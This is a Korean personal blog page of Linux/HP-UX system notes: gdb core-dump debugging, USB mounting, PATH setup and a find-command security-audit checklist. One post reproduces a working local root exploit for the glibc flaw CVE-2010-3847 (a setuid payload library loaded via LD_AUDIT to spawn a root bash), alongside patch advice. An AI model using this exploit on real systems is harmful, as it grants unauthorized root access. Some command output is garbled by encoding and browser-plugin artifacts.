코어 덤프 분석

전공 공부/시스템 2010.12.16 16:23

1.1.       Core Dump 파일 분석하기

1.1.1.   코어  덤프  파일  정보  보기  <?xml:namespace prefix = o />

코어 덤프 파일은 프로젝트 디렉토리 하위의 build에 존재한다.

아래와 같이 코어 덤프 파일을 확인할 수 있다.

 

SKA1DAP1:/SomeProject/build>ls

core.16195    core.8488     cursorserv    stdout

core.7000     core.9122     dispatcher    xdispatcher

core.7604     stderr

 

코어 덤프 파일이 여러 개 있고, 서버도 여러 개 있기 때문에 디버깅 하려는 서버와 코어덤프 파일을 매칭 시켜야 한다.

 

코어 덤프 파일로부터 어떤 서버가 비정상종료 되었는지 확인하는 법

 

SKA1DAP1:/SomeProject/build>file core.7000

core.7000:     ELF-64 core file - IA64 원본 'cursorserv' - SIGSEGVÀÌ() 가 수신되었습니다.

 

위의 코어 파일은 cursorserv 라는 서버로부터 생성된 코어 덤프이다.

 

최신 코어 덤프 파일 확인하는 법

 

SKA1DAP1:/SomeProject/build>ls -tl | grep core  

-rw-------   1 jsh        users      102368064 8 begin_of_the_skype_highlighting              102368064 8      end_of_the_skype_highlighting¿ù 22 21:43 core.9122

-rw-------   1 jsh        users      102499136 8 begin_of_the_skype_highlighting              102499136 8      end_of_the_skype_highlighting¿ù 22 21:37 core.8488

-rw-------   1 jsh        users      102503232 8 begin_of_the_skype_highlighting              102503232 8      end_of_the_skype_highlighting¿ù 22 21:32 core.7604

-rw-------   1 jsh        users      102503232 8 begin_of_the_skype_highlighting              102503232 8      end_of_the_skype_highlighting¿ù 22 21:28 core.7000

-rw-------   1 jsh        users      102548400 8 begin_of_the_skype_highlighting              102548400 8      end_of_the_skype_highlighting¿ù 22 15:43 core.16195

 

최근에 생성된 순서로부터 보았을 때 core.9122가 최신 코어덤프 파일임을 알 수 있다.

 

1.1.2.    코어  덤프  파일  정보  보기

 

GDB로 코어 덤프 파일 분석하기 , gdb [프로그램명] [코어파일명]

 

SKA1DAP1:/SomeProject/build >gdb cursorserv core.9122

HP gdb 5.8 for HP Itanium (32 or 64 bit) and target HP-UX 11.2x.

Copyright 1986 - 2001 Free Software Foundation, Inc.

. . .

 

backtrace 명령어로 콜스택 backtrace

(gdb) bt

#0  inline std::allocator<char>::allocator(std::allocator<char> const&) ()

    at /opt/aCC/include_std/memory:252

#1  0x9fffffffbb8b7440:0 in inline std::basic_string<char,std::char_traits<char>,std::allocator<char> >::get_allocator() const ()

    at /opt/aCC/include_std/string:774

#2  0x9fffffffbb8b7420:0 in std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string (this=0x9fffffffffffdb58, __s=@0x0)

    at /opt/aCC/include_std/string:1035

#3  0x9fffffffbbbb2100:0 in nexcore::sql::Record::setValue (

    this=0x9fffffffffffdd30, key=@0x0, value=@0x9fffffffffffdca8)

    at nexcore/sql/Record.cpp:67

#4  0x9fffffffb99ec310:0 in int nexcore::sql::SqlManager::select<TestFun*,bool

    (this=0x600000000006d0c0, statementId=@0x9fffffffffffde00,

    params=0x9fffffffffffde30, c=0x60000000001340b0, mf=(bool ( class TestFun

    ::*)(class nexcore::sql::Record *...)) -147599808)

    at /home/jsh/nexbuild/nana/include/nexcore/sql/SqlManager.hpp:157

#5  0x9fffffffb99e9240:0 in TestFun::perform (this=0x60000000001340b0,

    request=0x6000000000141950, response=0x6000000000025840) at TestFun.cpp:103

#6  0x9fffffffbbc74510:2 in inline std::allocator<char>::allocator() ()

    at /opt/aCC/include_std/memory:250

 

의심되는 스택 프레임으로 이동한다. 예를 들어 4번 프레임을 조사하고 싶으면, frame 4를 입력한다.

 

Frame 4를 선택해서 스택 정보 보기

(gdb) f 4

#4  0x9fffffffb99ec310:0 in int nexcore::sql::SqlManager::select<TestFun*,bool

    (this=0x600000000006d0c0, statementId=@0x9fffffffffffde00,

    params=0x9fffffffffffde30, c=0x60000000001340b0, mf=(bool ( class TestFun

    ::*)(class nexcore::sql::Record *...)) -147599808)

    at /home/jsh/nexbuild/nana/include/nexcore/sql/SqlManager.hpp:157

157                                                             record.setValue( colNames[i], rset->getString(i+1) );

 

해당 스택의 소스 보기

(gdb) list

152                                             while(rset->next())

153                                             {

154                                                     Record record;

155                                                     for (int i=0; i<colCount; i++)

156                                                     {

157                                                             record.setValue( colNames[i], rset->getString(i+1) );

158                                                     }

159                                                    

160                                                     // call callback function

 

해당 스택의 argument 보기

(gdb) info arg

this = (class nexcore::sql::SqlManager * const) 0x600000000006d0c0

statementId = (

    class std::basic_string<char, std::char_traits<char>, std::allocator<char>>

     &) @0x9fffffffffffde00: {_C_data = 0x600000000013a4f0 "select",

  static __nullref = <optimized out>, static npos = <optimized out>}

params = (class nexcore::sql::Params *) 0x9fffffffffffde30

c = (class TestFun *) 0x60000000001340b0

mf = (bool ( class TestFun::*)(class nexcore::sql::Record *...)) (bool (

    class TestFun::*)(class nexcore::sql::Record *...)) -147599808

 

해당 스택의 local value 보기

(gdb) info local

i = 0

record = {record = {__t = {_C_buffer_list = 0x6000000000134d40,

      _C_free_list = 0x0, _C_next_avail = 0x60000000003cc650,

      _C_last = 0x60000000003ccc20, _C_header = 0x60000000003cc620,

      _C_node_count = 0, _C_insert_always = false,

      _C_key_compare = {<std::binary_function<std::string, std::string, bool>> = {<No data fields>}, <No data fields>}}}, __vfp = 0x9fffffffbb784110}

colCount = 2

resultCount = 0

selectCnt = 0

query = {

  _C_data = 0x6000000000033830 " SELECT A.NATION_CD AS nationCD, A.NATION_NM AS nationNM FROM PI_NATION A WHERE A.NATION_CD LIKE '%' || #nationCD# || '%' AND A.DEL_FLG='N' ", static __nullref = <optimized out>,

  static npos = <optimized out>}

 

위와 같은 방식으로 코어 덤프 파일로부터 콜스택을 추적하여 프로그램이 비정상 종료된 원인을 찾아낸다. 자세한 명령어 및 검사방법은 GDB 기본 명령어 참조한다.


1.2.       실행중인 프로세스 디버깅

 

실행중인 프로세스 PID 보기 , ps –ef | grep [프로세스 명]

 

SKA1PAP1:/>ps -ef | grep ae001serv

muxplt1 28238     1  0 12:00:43 ?         0:00 ae001serv -g 1 -i 200 -u SKA1PAP1 -U  muxplt1  6153  6114  0 12:39:04 pts/10    0:00 grep ae001serv

 

 

실행중인 프로세스에 attach , gdb [프로세스 명] [pid]

 

SKA1PAP1:/ >gdb ae001serv 28238

HP gdb 5.8 for HP Itanium (32 or 64 bit) and target HP-UX 11.2x.

Copyright 1986 - 2001 Free Software Foundation, Inc.

. . .

 

현재 프로세스의 스택 정보

(gdb) where

#0  0x9fffffffe2e31ad0:0 in _msgrcv_sys+0x30 () from /lib/hpux64/libc.so.1

#1  0x9fffffffe2e41270:0 in msgrcv ()

    at ../../../../../core/libs/libc/shared_em_64_perf/../core/syscalls/t_msgrcv.c:19

#2  0x9fffffffe43ccfe0:0 in _tmmbrecvm () at msg/tmmbrecvm.c:364

#3  0x9fffffffe4195a10:0 in _tmmsgrcv () at tmgetrply.c:652

 

현재 프로세스의 스택 정보를 시작으로 정지점 이나 조건, watch 등 다양한 방법을 사용하여 디버깅을 진행한다.

GDB에 대한 자세한 명령어 및 검사방법은 GDB 기본 명령어 참조한다

퍼옴 : http://cafe.naver.com/nexcore.cafe?iframe_url=/ArticleRead.nhn%3Farticleid=43

PROM MODE

2010.12.13 09:00

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력해주세요.

usb mount

전공 공부/시스템 2010.11.29 14:43

1.  USB장치를 마운트할 디렉토리 생성
 mkdir /mnt/usb

2. modprobe 명령어로 ide-scsi 모듈을 로드한다.
modprobe ide-scsi

3. fdisk -l  로 usb 확인

4. 생성한 디렉토리로 연결
mount -t vfat /dev/sdc /mnt/usb

5. 사용이 끝나면 마운트를 해제
unmount /media/usb
unmout /mnt/usb

PATH 설정

전공 공부/시스템 2010.10.24 22:27

echo $PATH    -> PATH 확인
find / -name '.bash*'   -> bashprofile 찾기
cd ~  -> HOME 디렉토리로 이동
.bash_profile  -> 개인 사용자
.profile       -> root를 제외한 모든 사용자의 홈디렉토리에 .profile
/etc/profile   -> 모든 사용자가 공통의 PATH
source ~/.bash_profile  -> 환경 적용

PATH 경로 추가 할때 : 추가 하면서 적용 해야 함

취약점

전공 공부/시스템 2010.10.21 21:32
RHEL & RHEL 6 일반계정으로 root 권한 획득

오늘 새벽에 날라온 메일의 취약성입니다.
문서번호는 CVE-2010-3847로 해당 취약성은 sticky bit를 가지는 명령어(ping,passwd등.. )를 다이나믹 링크(ld.so)를 통해 실행하면서
발견된 문제로 , 일반계정 사용자가 쉽게 이 취약성을 이용해 root계정을 획득하게되는 중요한 보안 이슈 입니다.

실제 패키지는 glibc상의 소스코드상의 취약성입니다.

아래는 일반계정으로 root계정을 득하는 예제입니다.
RHEL 5와 RHEL 6(CENT OS 포함)에서 모두 가능합니다.

 

성공적으로 이 취약성을 이용하려면 SUID또는 SGID 바이너리가 공격자가 해당 디렉토리를 쓰는 권한을 가지고 같은 파일시스템에 위치해야 한다. 예를 들어 , /tmp와 /usr 이 둘다 / 상에 올라가 있다면 필요한 조건이 충족된 것이고, glibc 라이브러리 로더는 수정된 코드를 로딩하여 속일 수 있고 실행할 수 있는 SUID또는 SGID의 권한 으로 실행될 수 있다.

>>> 이 취약성에 해당되는 버젼 : RedHat Enterprise Server 5 와 6 모든 버젼

 

http://seclists.org/fulldisclosure/2010/Oct/257

CVE-2010-3847

 

 

>>>취약성 점검 방법(root 권한 획득)

 

우선 일반계정으로 SSH또는 TELNET등으로 접속 한후 아래의 진행

 

$ cd /tmp
$ cat > payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
^D (ctrl +d)


 

$ mkdir /tmp/exploit
$ ln /bin/ping /tmp/exploit/target
$ exec 3< /tmp/exploit/target
$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 10월 21 09:38 /proc/16189/fd/3 -> /tmp/exploit/target
$ rm -rf /tmp/exploit/
$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 10월 21 09:38 /proc/16189/fd/3 -> /tmp/exploit/target (deleted)
$ cat payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
gcc: spec failure: unrecognized spec option 'M'
gcc: spec failure: unrecognized spec option 'M'
# LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
# whoami
root

 

이제 ROOT권한을 획득하였음. 

 

>>> 이에 대한 해결안 대략 2가지

1. 보통 두가지 해당 패키지를 YUM으로 업데이트 할것

2. sticky bit 가 있는 바이러리 디렉토리와 사용자가 쓸 수 있는 디렉토리를 파티션으로 분리할 것

 


 

>>> 주의사항

-  이 패치를 위해서는 RHN을 사용할 수 있어야 합니다.

 

 

>>> 관련 글

How can I apply security patches for a Red Hat Enterprise Linux system not connected on RHN or the internet?
https://access.redhat.com/kb/docs/DOC-17189

>>> On a Red Hat Enterprise Linux 5 machine, is it possible to limit yum so that it lists or installs only security updates?
https://access.redhat.com/kb/docs/DOC-10022

How do I know if a CVE name affects a Red Hat Enterprise Linux package?
https://access.redhat.com/kb/docs/DOC-11331

리눅스와 관련된 설명

2010.10.10 06:27

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력해주세요.

리눅스 find

전공 공부/시스템 2010.07.14 16:00

find 명령어 활용법 정리 

1. 특정문자를 포함하는 파일찾기와 그 문자가 속한 행 찾기
    -  형식 : find 찾을위치 type f -exec egrep -i "포함하는문자" /dev/null {} \;
    -  설명 : 파일에 cmd 라는 단어가 포함되어있는 파일내역을 출력할 수 있다.


2. 소유자가 없는 파일 또는 소유그룹이 없는 무적파일 찾기
    -  형식 : find 찾을위치 -nouser -o -nogroup -print


3. 쓰기 권한이 있는 파일 및 디렉토리 찾기
    -  형식 : find / -type f \( -perm -2 -o -20 \) -exec ls -lg {} \;
    
-  형식 : find / -type d \( -perm -2 -o -20 \) -exec ls -lg {} \;
    -  설명 : 일반 사용자들에게 쓰기 권한의 퍼미션이 있는 파일이나 디렉토리를 찾을 수 있다.


4. 서버내부에서 .bash_history 파일을 모두 찾아서 확인하기
    -  형식 : find / -name .bash_history -exec ls -l {} \;
    -  설명 : .bash_history파일은 root를 포함하여 각 사용자들의 홈디렉토리에 존재하는 파일로 각 사용자들이

                 사용했던 명령어가 저장되어 있는 파일임. 만약 파일용량이 0 이라면 해킹을 의심 해볼 수도 있다.


5. 서버내부의 .rhosts 파일을 확인하기
    -  형식 : find / -name .rhosts -exec ls -l {} \;
    -  설명 : .rhosts파일은 외부에서 아무런 제한없이 로그인할 수 있는 접근허용이 설정된 파일이다.

                 파일의 존재여부를 확인해야 한다.


6. 서버 내의 백도어 파일 찾기
    -  형식 : find /dev -type f -exec ls -l {} \;
    -  설명 : 서버내에 백도어가 생성되는 위치는 거의 대부분 /dev이다.

                /dev는 장치파일들이 존재하므로 일반적인 파일들이 존재하지 않다.

                만약 /dev에 일반파일이 검색된다면 거의 대부분 백도어 파일이라고 판단할 수 있다. 
               
(요즘은 딱히 그렇지도 않다.)


7. root소유의 SetUID, SetGID 파일찾기
    -  형식 : find / -user root -perm -4000 -print
    -  형식 : find / -type f \( -perm -4000 -o -perm -2000 \)
    -  설명 : root 소유의 SetUID 파일은 실행시에 root 권한으로 실행이 되므로 반드시 관리되어야 할 파일이다.


8. 서버 내에 존재하는 모든 링크파일 검사하기
    -  형식 : find / -type l -exec ls -l {} \;
    -  설명 : 링크파일은 root 이외에는 잘 사용하지 않는 파일이다. 따라서 이러한 링크파일이 목적한 용도 이외에

                 생성이 되었는가를 확인해야 한다.


9. 특정디렉토리내에 존재하는 모든 디렉토리 목록만 확인하기
    -  형식 : find "검색할 디렉토리경로" -type d -print


10. 지정된 파일보다 이후에 생성된 파일 찾기
    -  형식 : find / -newer /root/file1.txt -exec ls -l {} \;
    -  설명 : /root/file1.txt 라는 파일이 생성된 날짜 이후에 생성된 파일을 검색


11. 지정된 일자 이후에 변경된 모든 파일 찾기
    -  형식 : find / -used 2 -exec ls -l {} \; (2일 전에 변경된 적이 있는 파일을 검색한다.) 
    -  설명 : 지정된 일자 이후에 변경된 적이 있는 파일을 찾는 방법


12. 특정 퍼미션을 가지고 있는 파일 찾기
    -  형식 : find / -perm 4755 -exec ls -l {} \;


13. 특정용량 이상되는 파일찾기
    -  형식 : find /usr -size +10000k -exec ls -l {} \; (10메가 이상되는 파일찾기)


14. 지정한 소유자의 모든 파일을 찾기
    -  형식 : find / -user test01 -exec ls -l {} \; (test01 소유자의 모든 파일찾기)

 

 

 그림출처 : 해커스쿨 http://www.hackerschool.org

 

 

15. 지정한 소유자가  nobody 인 파일과 퍼미션이 644 인 파일을 동시에 찾기

     - 형식 : find / -user nobody -perm -644 -print | more

     - 설명 : 한페이지에 너무 많이 출력될 경우를 대비해 more를 사용하였다. 해킹용 쉘코드가 삽입된 파일들은

                 대부분이 nobody 에 644 이다. 그래서 위 형식으로 검색할경우 의심파일을 쉽게 찾을수 있다.

 

 

16. 해당 문자열이 포함된 파일을 검색하여 출력

    - 형식 : find ./ -type f -name *.cgi -exec grep "찾을문자열" {} \; -print

 

 

 17. 문자열 찾아서 바꾸기
      - 형식 : find / -name "*.txt" -exec perl -pi -e 's/찾을문자열/바꿀문자열/g' {} \;

 

 

 18. 확장자 bak 파일 찾아서 삭제하기
      - 형식 : find ./ -type f -name *.bak -exec rm -f {} \;

 

 

 19. 2개이상의 조건으로 검색
      - 형식 : find . -type f \( -mtime -1 -o -ctime -1 \) -print           
                  (mtime 또는 ctime 1일 미만인 파일)
      - 형식 : find . -type f \( -mtime -1 -a -ctime -1 \) -print    
                  (mtime 과 ctime 모두 1일 미만인 파일)

 

 

20. pds 폴더의 하위 list 출력
     - 형식 : find . -type d -name 'pds' | xargs ls -al

 

 

 

 

전체 글의 출처 : 헌스님 글임 http://cafe.naver.com/enss.cafe?iframe_url=/ArticleRead.nhn%3Farticleid=2000 

헌스(linuxer_hun)님의 개인블로그 : http://blog.naver.com/linuxer_hun

시스템 보안 Hint

2010.07.03 17:07

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력해주세요.

서버 보안 설정

2010.05.11 21:47

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력해주세요.



티스토리 툴바